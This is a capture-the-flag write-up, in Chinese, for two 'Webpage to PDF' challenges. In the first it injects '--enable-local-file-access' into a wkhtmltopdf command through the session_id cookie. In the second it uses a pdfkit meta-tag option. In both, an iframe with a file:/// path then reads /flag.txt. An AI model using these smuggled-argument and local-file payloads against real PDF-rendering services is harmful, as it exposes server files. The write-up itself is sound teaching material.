
Webpage to PDF Writeup
Webpage to PDF (1)
题目描述
Thanks to Poe I coded a webpage to PDF in seconds! I am genius right?
Chilli Level:
随便输了一个网站看看会返回什么内容

发现服务器会解析网页并返回 PDF 文件,那我们的思路就是使用 file:/// 协议来读取文件
使用 jsbin 来把 Payload 传入靶机
<h1>blahblah</h1>
<iframe src="file:///flag.txt" width="100%" height="100%"></iframe>我们可以发现网站报错 Blocked access to file /flag.txt

于是从源码中查找思路,找到 wkhtmltopdf 命令,并且使用了 execute_command 函数来执行 Shell 命令
html_file = f"{session_id}.html"
pdf_file = f"{session_id}.pdf"
stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}')def execute_command(command):
# Split the command into arguments safely
args = shlex.split(command)
try:
# Execute the command and capture the output
result = subprocess.run(
args,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
check=True # Raises CalledProcessError for non-zero exit codes
)
return result.stdout, result.stderr, result.returncode
except subprocess.CalledProcessError as e:
# Return the error output and return code if command fails
return e.stdout, e.stderr, e.returncode通过搜索,找到 The same origin policy allows local files to be read by default #4536
在这个 issue 中,我们可以看到 wkhtmltopdf 默认是不允许读取本地文件的,但是可以通过 --enable-local-file-access 参数来开启
wkhtmltopdf --enable-local-file-access example.html flag.pdf再观察回源代码的执行方式,由于 session_id 是可控的,所以我们可以通过 session_id 来构造这个命令
# 原命令
wkhtmltopdf <session_id>.html <session_id>.pdf
# 构造命令
session_id = "--enable-local-file-access b370c533-8a49-47d6-83c6-35d720fe285c"
wkhtmltopdf --enable-local-file-access b370c533-8a49-47d6-83c6-35d720fe285c.html --enable-local-file-access b370c533-8a49-47d6-83c6-35d720fe285c.pdf因为要读取 b370c533-8a49-47d6-83c6-35d720fe285c.html ,所以我们先不修改 session_id ,把 Payload 传入靶机,再通过修改 session_id 为 --enable-local-file-access b370c533-8a49-47d6-83c6-35d720fe285c 来读取 flag

Webpage to PDF (2)
题目描述
Okok I know Poe I used was bad and I just install library randomly from the Internet. I should be fine right?
Chilli Level:
与第一题不一样的是,题目换掉了 execute_command 函数,取而代之的是 pdfkit 库
@app.route('/process', methods=['POST'])
def process_url():
# Get the session ID of the user
session_id = request.cookies.get('session_id')
pdf_file = f"{session_id}.pdf"
# Get the URL from the form
url = request.form['url']
# Download the webpage
response = requests.get(url)
response.raise_for_status()
# Make PDF
pdfkit.from_string(response.text, pdf_file)
return redirect(pdf_file)在 requirements.txt 中可以看到 pdfkit 库的版本是 1.0.0,所以我们可以前往 pypi.org 查看文档和源码

使用 <meta> 标签可以给 wkhtmltopdf 添加运行参数,既然我们需要添加 --enable-local-file-access 参数,那我们就可以使用 <meta> 标签来添加
<meta name="pdfkit-enable-local-file-access" content="" />这样就开启了 wkhtmltopdf 的本地文件访问权限,还是使用 file:// 协议来读取文件就可以读到 flag

更新日志
f4c55-于a8210-于9cce7-于8ce8f-于

预览: